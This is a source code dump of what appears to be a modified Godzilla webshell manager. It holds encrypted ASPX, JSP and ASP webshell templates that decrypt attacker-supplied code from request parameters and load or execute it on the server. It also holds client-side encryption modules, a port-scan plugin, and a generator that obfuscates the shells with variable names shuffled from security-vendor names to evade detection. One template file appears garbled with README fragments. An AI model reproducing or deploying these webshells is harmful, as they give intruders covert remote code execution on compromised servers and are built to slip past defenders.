├── shells ├── cryptions │ ├── cshapAes │ │ ├── template │ │ │ ├── shell.aspx │ │ │ └── CShapAesBase64data.bin │ │ ├── CShapAesBase64data.java │ │ └── Generate.java │ ├── JavaAes │ │ ├── template │ │ │ ├── base64Codemessage.bin │ │ │ └── base64GlobalCodemessage.bin │ │ ├── JavaAesRawmessage.java │ │ ├── JavaAesBase64message.java │ │ └── Generate.java │ ├── phpXor │ │ ├── template │ │ │ └── xorbase64message.bin │ │ ├── PhpXorhex.java │ │ └── PhpXormessage.java │ └── aspXor │ │ ├── template │ │ └── AspXorBase64message.bin │ │ ├── Generate.java │ │ └── AspXorBase64message.java └── plugins │ └── asp │ ├── chat.ico │ └── APortScan.java ├── META-INF └── MANIFEST.MF ├── core ├── annotation │ └── PluginAnnotation.java ├── ApplicationConfig.java ├── MainActivity.java └── ui │ └── component │ └── frame │ └── ShellSetting.java ├── Main.java ├── README.md └── util └── http ├── HttpResponse.java └── Http.java /shells/cryptions/cshapAes/template/shell.aspx: -------------------------------------------------------------------------------- 1 | <%{code}%> 2 | <% @language="c#" %> -------------------------------------------------------------------------------- /META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: core.ui.MainActivity 3 | 4 | -------------------------------------------------------------------------------- /shells/plugins/asp/chat.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Bohemiana/godzilla_erkai/HEAD/shells/plugins/asp/chat.ico -------------------------------------------------------------------------------- /core/annotation/PluginAnnotation.java: -------------------------------------------------------------------------------- 1 | // 2 | // Source code recreated from a .class file by IntelliJ IDEA 3 | // (powered by FernFlower decompiler) 4 | // 5 | 6 | package core.annotation; 7 | 8 | import java.lang.annotation.Retention; 9 | import java.lang.annotation.RetentionPolicy; 10 | 11 | @Retention(RetentionPolicy.RUNTIME) 12 | public @interface PluginAnnotation { 13 | String payloadName(); 14 | 15 | String Name(); 16 | 17 | String DisplayName(); 18 | 19 | } 20 | -------------------------------------------------------------------------------- /Main.java: -------------------------------------------------------------------------------- 1 | import java.util.Arrays; 2 | import java.util.List; 3 | import java.util.Random; 4 | 5 | public class Main { 6 | // public static void main(String[] args) { 7 | // System.out.println("Hello world!"); 8 | // 9 | // 10 | // 11 | // } 12 | private static Random rand = new Random(); 13 | 14 | public static void swap(T[] a, int i, int j) { 15 | T temp = a[i]; 16 | a[i] = a[j]; 17 | a[j] = temp; 18 | } 19 | 20 | public static void shuffle(T[] arr) { 21 | int length = arr.length; 22 | for (int i = length; i > 0; i--) { 23 | int randInd = rand.nextInt(i); 24 | swap(arr, randInd, i - 1); 25 | } 26 | } 27 | 28 | public static void main(String[] args) { 29 | String[] arr = { "码仙1", "码仙2", "码仙3", "码仙4", "码仙5", "码仙6", "码仙7", "码仙8" }; 30 | shuffle(arr); 31 | System.out.println(arr[1]); 32 | 33 | System.out.println(Arrays.toString(arr)); 34 | } 35 | } -------------------------------------------------------------------------------- /shells/cryptions/JavaAes/template/base64Codemessage.bin: -------------------------------------------------------------------------------- 1 | try { 2 | response.setStatus(Integer.parseInt(new String({strsan}("NDA0")))); 3 | byte[] {strershisi} = {strsan}(request.getParameter({strshisan})); 4 | {strershisi} = {strershisan}({strershisi}, false); 5 | if (session.getAttribute("{strshiyi}") == null) { 6 | session.setAttribute("{strshiyi}", new {strshiyi}(ClassLoader.getSystemClassLoader()).Q({strershisi})); 7 | } else { 8 | request.setAttribute("parameters", {strershisi}); 9 | java.io.ByteArrayOutputStream {strshiliu} = new java.io.ByteArrayOutputStream(); 10 | Object {strshier} = ((Class)session.getAttribute("{strshiyi}")).newInstance(); 11 | {strshier}.equals({strshiliu});{strshier}.equals(pageContext); 12 | String {strshiqi}=new String({strsan}("eyJtZXNzYWdlIjoi")); 13 | response.getWriter().write({strshiqi}); 14 | {strshier}.toString(); 15 | response.getWriter().write({strer}({strershisan}({strshiliu}.toByteArray(), true))); 16 | String {strshiba}=new String({strsan}("In0=")); 17 | response.getWriter().write({strshiba}); 18 | } 19 | } catch (Exception e) {} 20 | -------------------------------------------------------------------------------- /shells/plugins/asp/APortScan.java: -------------------------------------------------------------------------------- 1 | package shells.plugins.asp; 2 | 3 | import core.annotation.PluginAnnotation; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | import javax.swing.*; 7 | import shells.plugins.generic.PortScan; 8 | import util.functions; 9 | 10 | @PluginAnnotation( 11 | payloadName = "AspDynamicPayload", 12 | Name = "PortScanemojiuD83DuDE00\uD83D\uDE00", // Name中继续保持原字符串 13 | DisplayName = "端口扫描" 14 | ) 15 | public class APortScan extends PortScan { 16 | private static final String CLASS_NAME = "PortScan"; 17 | 18 | public APortScan() { 19 | } 20 | 21 | public byte[] readPlugin() throws IOException { 22 | InputStream inputStream = this.getClass().getResourceAsStream(String.format("assets/%s.asp", "PortScan")); 23 | return functions.readInputStreamAutoClose(inputStream); 24 | } 25 | 26 | public String getClassName() { 27 | return "PortScan"; 28 | } 29 | 30 | // 在UI界面中显示图标和文本 31 | public static void main(String[] args) { 32 | // 加载图标 33 | ImageIcon icona = new ImageIcon(APortScan.class.getResource("/shells/plugins/asp/chat.ico")); 34 | 35 | // 使用JButton来组合图标和文本 36 | JButton button = new JButton("PortScanemojiuD83DuDE00aaaaaa", icona); 37 | button.setHorizontalAlignment(SwingConstants.LEFT); // 设置图标和文本对齐方式 38 | 39 | // 创建UI窗口来显示 40 | JFrame frame = new JFrame("端口扫描"); 41 | frame.add(button); 42 | frame.setSize(300, 100); 43 | frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 44 | frame.setVisible(true); 45 | } 46 | } -------------------------------------------------------------------------------- /shells/cryptions/phpXor/template/xorbase64message.bin: -------------------------------------------------------------------------------- 1 | 30 | 31 | 32 | 33 | Star History Chart 34 | 35 | 36 | -------------------------------------------------------------------------------- /shells/cryptions/cshapAes/template/CShapAesBase64data.bin: -------------------------------------------------------------------------------- 1 | try { 2 | string {strwu} = System.Text.Encoding.Default.GetString(Convert.FromBase64String("{pass}")); 3 | string {strsi} = System.Text.Encoding.Default.GetString(Convert.FromBase64String("{secretKey}")); 4 | byte[] {strer} = System.Convert.FromBase64String(Context.Request[{strwu}]); 5 | byte[] {strsan} = System.Text.Encoding.Default.GetBytes({strsi}); 6 | {strer} = new System.Security.Cryptography.AesManaged().CreateDecryptor({strsan}, {strsan}).TransformFinalBlock({strer}, 0, {strer}.Length); 7 | if (Context.Session["{stryi}"] == null){ 8 | Type {strshier} = typeof(System.Reflection.Assembly); 9 | Type[] parameterTypes = new Type[] { typeof(byte[]) }; 10 | var {strshisan} = {strshier}.GetMethods(); 11 | System.Reflection.MethodInfo loadMethod = {strshisan} 12 | .FirstOrDefault(m => m.Name == "Load" && m.GetParameters().Length == 1 && m.GetParameters()[0].ParameterType == typeof(byte[])); 13 | object assemblyObject = (System.Reflection.Assembly)loadMethod.Invoke(null, new object[] { {strer} }); 14 | Context.Session["{stryi}"] = assemblyObject; 15 | }else { var {strba} = new System.IO.MemoryStream(); 16 | object {strliu} = ((System.Reflection.Assembly)Context.Session["{stryi}"]).CreateInstance("LY"); 17 | {strliu}.Equals(Context);{strliu}.Equals({strba}); 18 | {strliu}.Equals({strer});{strliu}.ToString(); 19 | byte[] {strqi} = {strba}.ToArray(); 20 | string {strjiu}=System.Text.Encoding.Default.GetString(Convert.FromBase64String("eyJkYXRhIjoi")); 21 | @Context.Response.Write({strjiu}); 22 | string {strshiyi} = System.Convert.ToBase64String(new System.Security.Cryptography.AesManaged().CreateEncryptor({strsan}, {strsan}).TransformFinalBlock({strqi}, 0, {strqi}.Length)); 23 | string {strshi}="\"}";Context.Response.Write({strshiyi});Context.Response.Write({strshi}); 24 | } } catch (System.Exception) { };Response.StatusCode = 302; -------------------------------------------------------------------------------- /shells/cryptions/JavaAes/template/base64GlobalCodemessage.bin: -------------------------------------------------------------------------------- 1 | public static String {strer}(byte[] {strershiyi}) { 2 | try { 3 | java.util.Base64.Encoder {strjiu} = java.util.Base64.getEncoder(); 4 | return {strjiu}.encodeToString({strershiyi}); 5 | } catch (Exception e) {return null;} 6 | } 7 | public static byte[] {strsan}(String {strershiyi}) { 8 | try { 9 | java.util.Base64.Decoder {strshi} = java.util.Base64.getDecoder(); 10 | return {strshi}.decode({strershiyi}); 11 | } catch (Exception e) {return null;} 12 | }class {strshiyi} extends ClassLoader { 13 | public {strshiyi}(ClassLoader {strershier}) { 14 | super({strershier}); 15 | } 16 | public Class Q(byte[] {strershi}) { 17 | try { 18 | return super.defineClass(null, {strershi}, 0, {strershi}.length); 19 | } catch (ClassFormatError e) { 20 | return null;}}} 21 | public byte[] {strershisan}(byte[] s, boolean m) { 22 | try { 23 | Class {stryi} = Class.forName("javax.crypto.Cipher"); 24 | java.lang.reflect.Method {strliu} = {stryi}.getMethod("getInstance", String.class); 25 | Object {strshiwu} = {strliu}.invoke(null, "AES"); 26 | Class {strsi} = Class.forName("javax.crypto.spec.SecretKeySpec"); 27 | java.lang.reflect.Constructor {strwu} = {strsi}.getConstructor(byte[].class, String.class); 28 | Object {strshijiu} = {strwu}.newInstance({strshisi}.getBytes(), "AES"); 29 | java.lang.reflect.Method {strqi} = {stryi}.getMethod("init", int.class, java.security.Key.class); 30 | {strqi}.invoke({strshiwu}, m ? 1 : 2, {strshijiu}); 31 | java.lang.reflect.Method {strba} = {stryi}.getMethod("doFinal", byte[].class); 32 | return (byte[]) {strba}.invoke({strshiwu}, (Object) s); 33 | } catch (Exception e) { 34 | return null; 35 | } 36 | }String {strshisan} = new String({strsan}("{pass}")); 37 | String {strshisi} = new String({strsan}("{secretKey}")); -------------------------------------------------------------------------------- /shells/cryptions/aspXor/template/AspXorBase64message.bin: -------------------------------------------------------------------------------- 1 | <% 2 | FunCtioN {strliu}({strer},isBin) 3 | dim {strshisan},{strshier},{strqi},{strba} 4 | {strba} = len({strshisi}) 5 | Set {strjiu} = CrEATeObjecT(Chr(65)&Chr(68)&"ODB.St"&"re"&Chr(97)&Chr(109)) 6 | {strjiu}.CharSet = Chr(105) & Chr(115) & Chr(111)&"-8859-"&Chr(49) 7 | {strjiu}.Type = Chr("50") 8 | {strjiu}.OpeN 9 | if IsArray({strer}) then 10 | {strshisan}=UBound({strer})+1 11 | For {strshier}=Chr("49") To {strshisan} 12 | 13 | {strjiu}.WriteText chrw(aScb(mIdb({strer},{strshier},Chr("49"))) XOR Asc(Mid({strshisi},({strshier} mod {strba})+Chr("49"),Chr("49")))) 14 | Next REM {strjiu}.CharSet 15 | end if 16 | {strjiu}.Position = Chr(48) 17 | 18 | if isBin then 19 | {strjiu}.Type = Chr(49) 20 | {strliu}={strjiu}.ReaD() 21 | else REM {strjiu}.OpeN 22 | {strliu}={strjiu}.ReadText() 23 | end if 24 | End FunCtioN 25 | {strshi}="p"&Chr("97")&ChR("121")&Chr(108)&Chr(111)&Chr(97)&"d" 26 | Set {stryi} = SeRveR.CrEateObJeCt(Chr(83)&Chr(99)&Chr(114)&Chr(105)&Chr("112")&"ti"&"ng.Di"&"ct"&"ion"&Chr("97")&Chr("114")&Chr("121")) 27 | FunCtioN {strsan}(ByRef {strwu}) 28 | 29 | Dim {strshiyi}, {strsi} 30 | 31 | Set {strshiyi} = CReAteOBjeCt("M"& Chr(115) & Chr(120) & Chr(109) & Chr(108) & Chr(50) & Chr(46) & Chr(68) & Chr(79) & Chr(77) & Chr(68) & Chr(111) & Chr(99) & Chr(117) & Chr(109) & Chr(101) & "nt.3.0") 32 | Set {strsi} = {strshiyi}.CreateElement("base"&Chr("54")&Chr("52")) 33 | {strsi}.dataType = "bi"&"n.ba"&"se"&Chr("54")&Chr("52") 34 | {strsi}.text = {strwu} 35 | {strsan} = {strsi}.nodeTypedValue 36 | Set {strsi} = Nothing 37 | Set {strshiyi} = Nothing 38 | End FunCtioN 39 | {strshisi} ="{secretKey}" 40 | {strer}=reQUest.FoRm("{pass}") 41 | ReSpoNse.Status = "301 Moved Permanently" 42 | if not IsEmpty({strer}) then 43 | if IsEmpty(SEssiOn({strshi})) then 44 | {strer}={strliu}({strsan}({strer}),false) 45 | SEssiOn({strshi})={strer} 46 | response.End 47 | else 48 | {strer}={strliu}({strsan}({strer}),true) 49 | {stryi}.Add {strshi},SEssiOn({strshi}) 50 | EXECUTE({stryi}(({strshi}))) 51 | {strqi}=run({strer}) 52 | rEspOnsE.Write(Chr(123) & Chr(34) & "message" & Chr(34) & Chr(58) & Chr(34)) 53 | if not IsEmpty({strqi}) then 54 | response.Write bAsE64EnCoDe({strliu}({strqi},true)) 55 | end if 56 | rEspOnsE.Write(Chr(34) & Chr(125)) 57 | end if 58 | end if 59 | 60 | %> 61 | -------------------------------------------------------------------------------- /shells/cryptions/JavaAes/JavaAesRawmessage.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Decompiled with CFR 0.153-SNAPSHOT (d6f6758-dirty). 3 | */ 4 | package shells.cryptions.JavaAes; 5 | 6 | import core.annotation.CryptionAnnotation; 7 | import core.imp.Cryption; 8 | import core.shell.ShellEntity; 9 | import javax.crypto.Cipher; 10 | import javax.crypto.spec.SecretKeySpec; 11 | import shells.cryptions.JavaAes.Generate; 12 | import util.Log; 13 | import util.functions; 14 | import util.http.Http; 15 | 16 | //@CryptionAnnotation(Name="JAVA_AES_RAW_MESSAGE", payloadName="JavaDynamicPayload") 17 | public class JavaAesRawmessage 18 | implements Cryption { 19 | private ShellEntity shell; 20 | private Http http; 21 | private Cipher decodeCipher; 22 | private Cipher encodeCipher; 23 | private String key; 24 | private boolean state; 25 | private byte[] payload; 26 | private String findStrLeft; 27 | private String pass; 28 | private String findStrRight; 29 | 30 | @Override 31 | public void init(ShellEntity context) { 32 | this.shell = context; 33 | this.http = this.shell.getHttp(); 34 | this.key = this.shell.getSecretKeyX(); 35 | String findStrMd5 = functions.md5(this.pass + this.key); 36 | //this.findStrLeft = findStrMd5.substring(0).toUpperCase(); 37 | //this.findStrRight = findStrMd5.substring(0).toUpperCase(); 38 | // this.findStrLeft = "{\"message\":\""; 39 | // this.findStrRight = "\"}"; 40 | try { 41 | this.encodeCipher = Cipher.getInstance("AES"); 42 | this.decodeCipher = Cipher.getInstance("AES"); 43 | this.encodeCipher.init(1, new SecretKeySpec(this.key.getBytes(), "AES")); 44 | this.decodeCipher.init(2, new SecretKeySpec(this.key.getBytes(), "AES")); 45 | this.payload = this.shell.getPayloadModule().getPayload(); 46 | this.shell.getHeaders().put("Content-Type", "application/octet-stream"); 47 | if (this.payload != null) { 48 | this.http.sendHttpResponse(this.payload); 49 | this.state = true; 50 | } else { 51 | Log.error("payload Is Null"); 52 | } 53 | } catch (Exception e) { 54 | Log.error(e); 55 | return; 56 | } 57 | } 58 | 59 | @Override 60 | public byte[] encode(byte[] data) { 61 | try { 62 | return this.encodeCipher.doFinal(data); 63 | } catch (Exception e) { 64 | Log.error(e); 65 | return null; 66 | } 67 | } 68 | 69 | @Override 70 | public byte[] decode(byte[] data) { 71 | try { 72 | return this.decodeCipher.doFinal(data); 73 | } catch (Exception e) { 74 | Log.error(e); 75 | return null; 76 | } 77 | } 78 | 79 | 80 | // public String findStr(byte[] respResult) { 81 | // String htmlString = new String(respResult); 82 | // return functions.subMiddleStr(htmlString, this.findStrLeft, this.findStrRight); 83 | // } 84 | @Override 85 | public boolean isSendRLData() { 86 | return true; 87 | } 88 | 89 | 90 | @Override 91 | public boolean check() { 92 | return this.state; 93 | } 94 | 95 | @Override 96 | public byte[] generate(String password, String secretKey) { 97 | return Generate.GenerateShellLoder(password, functions.md5(secretKey).substring(0, 16), true); 98 | } 99 | } 100 | 101 | -------------------------------------------------------------------------------- /shells/cryptions/JavaAes/JavaAesBase64message.java: -------------------------------------------------------------------------------- 1 | // 2 | // Source code recreated from a .class file by IntelliJ IDEA 3 | // (powered by FernFlower decompiler) 4 | // 5 | 6 | package shells.cryptions.JavaAes; 7 | 8 | import core.annotation.CryptionAnnotation; 9 | import core.imp.Cryption; 10 | import core.shell.ShellEntity; 11 | import java.net.URLEncoder; 12 | import javax.crypto.Cipher; 13 | import javax.crypto.spec.SecretKeySpec; 14 | import util.Log; 15 | import util.functions; 16 | import util.http.Http; 17 | 18 | @CryptionAnnotation( 19 | Name = "JAVA_AES_BASE64_MESSAGE", 20 | payloadName = "JavaDynamicPayload" 21 | ) 22 | public class JavaAesBase64message implements Cryption { 23 | private ShellEntity shell; 24 | private Http http; 25 | private Cipher decodeCipher; 26 | private Cipher encodeCipher; 27 | private String key; 28 | private boolean state; 29 | private byte[] payload; 30 | private String findStrLeft; 31 | private String pass; 32 | private String findStrRight; 33 | 34 | public JavaAesBase64message() { 35 | } 36 | 37 | public void init(ShellEntity context) { 38 | this.shell = context; 39 | this.http = this.shell.getHttp(); 40 | this.key = this.shell.getSecretKeyX(); 41 | this.pass = this.shell.getPassword(); 42 | String findStrMd5 = functions.md5(this.pass + this.key); 43 | //this.findStrLeft = findStrMd5.substring(0).toUpperCase(); 44 | //this.findStrRight = findStrMd5.substring(0).toUpperCase(); 45 | this.findStrLeft = "{\"message\":\""; 46 | this.findStrRight = "\"}"; 47 | try { 48 | this.encodeCipher = Cipher.getInstance("AES"); 49 | this.decodeCipher = Cipher.getInstance("AES"); 50 | this.encodeCipher.init(1, new SecretKeySpec(this.key.getBytes(), "AES")); 51 | this.decodeCipher.init(2, new SecretKeySpec(this.key.getBytes(), "AES")); 52 | this.payload = this.shell.getPayloadModule().getPayload(); 53 | if (this.payload != null) { 54 | this.http.sendHttpResponse(this.payload); 55 | this.state = true; 56 | } else { 57 | Log.error("payload Is Null"); 58 | } 59 | 60 | } catch (Exception var4) { 61 | Log.error(var4); 62 | } 63 | } 64 | 65 | public byte[] encode(byte[] data) { 66 | try { 67 | return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(this.encodeCipher.doFinal(data)))).getBytes(); 68 | } catch (Exception var3) { 69 | Log.error(var3); 70 | return null; 71 | } 72 | } 73 | 74 | public byte[] decode(byte[] data) { 75 | try { 76 | data = functions.base64Decode(this.findStr(data)); 77 | return this.decodeCipher.doFinal(data); 78 | } catch (Exception var3) { 79 | Log.error(var3); 80 | return null; 81 | } 82 | } 83 | 84 | public String findStr(byte[] respResult) { 85 | String htmlString = new String(respResult); 86 | return functions.subMiddleStr(htmlString, this.findStrLeft, this.findStrRight); 87 | } 88 | 89 | public boolean isSendRLData() { 90 | return true; 91 | } 92 | 93 | public boolean check() { 94 | return this.state; 95 | } 96 | 97 | public byte[] generate(String password, String secretKey) { 98 | return Generate.GenerateShellLodermessage(password, functions.md5(secretKey).substring(0, 16), false); 99 | } 100 | 101 | } 102 | -------------------------------------------------------------------------------- /shells/cryptions/cshapAes/CShapAesBase64data.java: -------------------------------------------------------------------------------- 1 | // 2 | // Source code recreated from a .class file by IntelliJ IDEA 3 | // (powered by FernFlower decompiler) 4 | // 5 | 6 | package shells.cryptions.cshapAes; 7 | 8 | import core.annotation.CryptionAnnotation; 9 | import core.imp.Cryption; 10 | import core.shell.ShellEntity; 11 | import java.net.URLEncoder; 12 | import java.nio.charset.StandardCharsets; 13 | import javax.crypto.Cipher; 14 | import javax.crypto.spec.IvParameterSpec; 15 | import javax.crypto.spec.SecretKeySpec; 16 | import util.Log; 17 | import util.functions; 18 | import util.http.Http; 19 | 20 | @CryptionAnnotation( 21 | Name = "CSHAP_AES_BASE64_DATA", 22 | payloadName = "CShapDynamicPayload" 23 | ) 24 | public class CShapAesBase64data implements Cryption { 25 | private ShellEntity shell; 26 | private Http http; 27 | private Cipher decodeCipher; 28 | private Cipher encodeCipher; 29 | private String key; 30 | private boolean state; 31 | private byte[] payload; 32 | private String findStrLeft; 33 | private String pass; 34 | private String findStrRight; 35 | 36 | public CShapAesBase64data() { 37 | } 38 | 39 | public void init(ShellEntity context) { 40 | this.shell = context; 41 | this.http = this.shell.getHttp(); 42 | this.key = this.shell.getSecretKeyX(); 43 | this.pass = this.shell.getPassword(); 44 | String findStrMd5 = functions.md5(this.pass + this.key); 45 | this.findStrLeft = "{\"data\":\""; 46 | this.findStrRight = "\"}"; 47 | 48 | try { 49 | this.encodeCipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 50 | this.decodeCipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 51 | this.encodeCipher.init(1, new SecretKeySpec(this.key.getBytes(), "AES"), new IvParameterSpec(this.key.getBytes())); 52 | this.decodeCipher.init(2, new SecretKeySpec(this.key.getBytes(), "AES"), new IvParameterSpec(this.key.getBytes())); 53 | this.payload = this.shell.getPayloadModule().getPayload(); 54 | if (this.payload != null) { 55 | this.http.sendHttpResponse(this.payload); 56 | this.state = true; 57 | } else { 58 | Log.error("payload Is Null"); 59 | } 60 | 61 | } catch (Exception var4) { 62 | Exception e = var4; 63 | Log.error(e); 64 | } 65 | } 66 | 67 | public byte[] encode(byte[] data) { 68 | try { 69 | return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(this.encodeCipher.doFinal(data)))).getBytes(); 70 | } catch (Exception var3) { 71 | Exception e = var3; 72 | Log.error(e); 73 | return null; 74 | } 75 | } 76 | 77 | public byte[] decode(byte[] data) { 78 | try { 79 | data = functions.base64Decode(this.findStr(data)); 80 | return this.decodeCipher.doFinal(data); 81 | } catch (Exception var3) { 82 | Exception e = var3; 83 | Log.error(e); 84 | return null; 85 | } 86 | } 87 | 88 | public String findStr(byte[] respResult) { 89 | String htmlString = new String(respResult); 90 | return functions.subMiddleStr(htmlString, this.findStrLeft, this.findStrRight); 91 | } 92 | 93 | public boolean isSendRLData() { 94 | return true; 95 | } 96 | 97 | public boolean check() { 98 | return this.state; 99 | } 100 | 101 | public byte[] generate(String password, String secretKey) { 102 | return Generate.GenerateShellLoderdata(password, functions.md5(secretKey).substring(0, 16) ,this.getClass().getSimpleName()); 103 | } 104 | 105 | } 106 | -------------------------------------------------------------------------------- /shells/cryptions/aspXor/Generate.java: -------------------------------------------------------------------------------- 1 | 2 | 3 | package shells.cryptions.aspXor; 4 | 5 | import java.io.InputStream; 6 | import java.util.Random; 7 | 8 | import util.Log; 9 | import util.TemplateEx; 10 | import util.functions; 11 | 12 | class Generate { 13 | Generate() { 14 | } 15 | 16 | public static byte[] GenerateShellLoder(String pass, String secretKey, String className) { 17 | byte[] data = null; 18 | String findStrMd5 = functions.md5(pass + secretKey); 19 | String findStrLeft = findStrMd5.substring(0, 6); 20 | String findStrRight = findStrMd5.substring(20, 26); 21 | 22 | try { 23 | InputStream inputStream = Generate.class.getResourceAsStream("template/" + className + ".bin"); 24 | String code = new String(functions.readInputStream(inputStream)); 25 | inputStream.close(); 26 | code = code.replace("{pass}", pass).replace("{secretKey}", secretKey).replace("{findStrLeft}", findStrLeft).replace("{findStrRight}", findStrRight); 27 | code = TemplateEx.run(code); 28 | data = code.getBytes(); 29 | } catch (Exception var9) { 30 | Exception e = var9; 31 | Log.error(e); 32 | } 33 | 34 | return data; 35 | } 36 | public static byte[] GenerateShellLodermessage(String pass, String secretKey, String className) { 37 | byte[] data = null; 38 | 39 | String findStrMd5 = functions.md5(pass + secretKey); 40 | // String findStrLeft = findStrMd5.substring(0, 6); 41 | // String findStrRight = findStrMd5.substring(20, 26); 42 | 43 | try { 44 | InputStream inputStream = Generate.class.getResourceAsStream("template/" + className + ".bin"); 45 | String code = new String(functions.readInputStream(inputStream)); 46 | inputStream.close(); 47 | 48 | String[] arr = { "qianxin", "nsfocus", "sangfor", "dbappsecurity", "chaitin", "damddos", "alibaba", "baidu" ,"leadsec", "venustech", 49 | "asiainfosec","qingteng","threatbook","antiy","dptech","hillstonenet","topsec","huawei","sina","webray", 50 | "tencent","bytedance","douyin","westone"}; 51 | shuffle(arr); 52 | code = code.replace("{pass}", pass).replace("{secretKey}", secretKey) 53 | .replace("{stryi}", arr[0]).replace("{strer}", arr[1]) 54 | .replace("{strsan}", arr[2]).replace("{strsi}", arr[3]) 55 | .replace("{strwu}", arr[4]).replace("{strliu}", arr[5]) 56 | .replace("{strqi}", arr[6]).replace("{strba}", arr[7]) 57 | .replace("{strjiu}", arr[8]).replace("{strshi}", arr[9]) 58 | .replace("{strshiyi}", arr[10]).replace("{strshier}", arr[11]) 59 | .replace("{strshisan}", arr[12]).replace("{strshisi}", arr[13]) 60 | .replace("{strshiwu}", arr[14]).replace("{strshiliu}", arr[15]) 61 | .replace("{strshiqi}", arr[16]).replace("{strshiba}", arr[17]) 62 | .replace("{strshijiu}", arr[18]).replace("{strershi}", arr[19]) 63 | .replace("{strershiyi}", arr[20]).replace("{strershier}", arr[21]) 64 | .replace("{strershisan}", arr[22]).replace("{strershisi}", arr[23]); 65 | //System.out.println(arr[0]+" "+arr[1]+" "+arr[2]); 66 | code = TemplateEx.run(code); 67 | data = code.getBytes(); 68 | } catch (Exception var9) { 69 | Exception e = var9; 70 | Log.error(e); 71 | } 72 | 73 | return data; 74 | } 75 | private static Random rand = new Random(); 76 | 77 | public static void swap(T[] a, int i, int j) { 78 | T temp = a[i]; 79 | a[i] = a[j]; 80 | a[j] = temp; 81 | } 82 | 83 | public static void shuffle(T[] arr) { 84 | int length = arr.length; 85 | for (int i = length; i > 0; i--) { 86 | int randInd = rand.nextInt(i); 87 | swap(arr, randInd, i - 1); 88 | } 89 | } 90 | 91 | } 92 | -------------------------------------------------------------------------------- /shells/cryptions/aspXor/AspXorBase64message.java: -------------------------------------------------------------------------------- 1 | // 2 | // Source code recreated from a .class file by IntelliJ IDEA 3 | // (powered by FernFlower decompiler) 4 | // 5 | 6 | package shells.cryptions.aspXor; 7 | 8 | import core.annotation.CryptionAnnotation; 9 | import core.imp.Cryption; 10 | import core.shell.ShellEntity; 11 | import java.net.URLEncoder; 12 | import java.util.Random; 13 | 14 | import shells.cryptions.phpXor.PhpXormessage; 15 | import util.Log; 16 | import util.functions; 17 | import util.http.Http; 18 | 19 | @CryptionAnnotation( 20 | Name = "ASP_XOR_BASE64_MESSAGE", 21 | payloadName = "AspDynamicPayload" 22 | ) 23 | public class AspXorBase64message implements Cryption { 24 | private ShellEntity shell; 25 | private Http http; 26 | private byte[] key; 27 | private boolean state; 28 | private String pass; 29 | private byte[] payload; 30 | private String findStrLeft; 31 | private String findStrRight; 32 | 33 | public AspXorBase64message() { 34 | } 35 | 36 | public void init(ShellEntity context) { 37 | this.shell = context; 38 | this.http = this.shell.getHttp(); 39 | this.key = this.shell.getSecretKeyX().getBytes(); 40 | this.pass = this.shell.getPassword(); 41 | String findStrMd5 = functions.md5(this.pass + new String(this.key)); 42 | this.findStrLeft = "{\"message\":\""; 43 | this.findStrRight = "\"}"; 44 | // this.findStrLeft = findStrMd5.substring(0, 6); 45 | // this.findStrRight = findStrMd5.substring(20, 26); 46 | 47 | try { 48 | this.payload = this.shell.getPayloadModule().getPayload(); 49 | if (this.payload != null) { 50 | this.http.sendHttpResponse(this.payload); 51 | this.state = true; 52 | } else { 53 | Log.error("payload Is Null"); 54 | } 55 | 56 | } catch (Exception var4) { 57 | Exception e = var4; 58 | Log.error(e); 59 | } 60 | } 61 | 62 | public byte[] encode(byte[] data) { 63 | try { 64 | return this.E(data); 65 | } catch (Exception var3) { 66 | Exception e = var3; 67 | Log.error(e); 68 | return null; 69 | } 70 | } 71 | 72 | public byte[] decode(byte[] data) { 73 | if (data != null && data.length > 0) { 74 | try { 75 | return this.D(this.findStr(data)); 76 | } catch (Exception var3) { 77 | Exception e = var3; 78 | Log.error(e); 79 | return null; 80 | } 81 | } else { 82 | return data; 83 | } 84 | } 85 | 86 | public boolean isSendRLData() { 87 | return true; 88 | } 89 | 90 | protected void decryption(byte[] data, byte[] key) { 91 | int len = data.length; 92 | int keyLen = key.length; 93 | //int index = false; 94 | 95 | for (int i = 1; i <= len; ++i) { 96 | int index = i - 1; 97 | data[index] ^= key[i % keyLen]; 98 | } 99 | 100 | } 101 | 102 | public byte[] E(byte[] cs) { 103 | this.decryption(cs, this.key); 104 | return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes(); 105 | } 106 | 107 | public byte[] D(String data) { 108 | byte[] cs = functions.base64Decode(data); 109 | this.decryption(cs, this.key); 110 | return cs; 111 | } 112 | 113 | public String findStr(byte[] respResult) { 114 | String htmlString = new String(respResult); 115 | return functions.subMiddleStr(htmlString, this.findStrLeft, this.findStrRight); 116 | } 117 | 118 | public boolean check() { 119 | return this.state; 120 | } 121 | 122 | public byte[] generate(String password, String secretKey) { 123 | 124 | return Generate.GenerateShellLodermessage(password, functions.md5(secretKey).substring(0, 16), this.getClass().getSimpleName()); 125 | 126 | } 127 | } -------------------------------------------------------------------------------- /shells/cryptions/phpXor/PhpXorhex.java: -------------------------------------------------------------------------------- 1 | // 2 | // Source code recreated from a .class file by IntelliJ IDEA 3 | // (powered by FernFlower decompiler) 4 | // 5 | 6 | package shells.cryptions.phpXor; 7 | 8 | import core.annotation.CryptionAnnotation; 9 | import core.imp.Cryption; 10 | import core.shell.ShellEntity; 11 | import util.Log; 12 | import util.functions; 13 | import util.http.Http; 14 | import java.lang.String; 15 | 16 | import java.net.URLEncoder; 17 | import java.nio.charset.StandardCharsets; 18 | 19 | //@CryptionAnnotation( 20 | // Name = "PHP_XOR_BASE64_HEX", 21 | // payloadName = "PhpDynamicPayload" 22 | //) 23 | public abstract class PhpXorhex implements Cryption { 24 | private ShellEntity shell; 25 | private Http http; 26 | private byte[] key; 27 | private boolean state; 28 | private String pass; 29 | private byte[] payload; 30 | private String findStrLeft; 31 | private String findStrRight; 32 | 33 | public PhpXorhex() { 34 | } 35 | 36 | public void init(ShellEntity context) { 37 | this.shell = context; 38 | this.http = this.shell.getHttp(); 39 | this.key = this.shell.getSecretKeyX().getBytes(); 40 | this.pass = this.shell.getPassword(); 41 | String 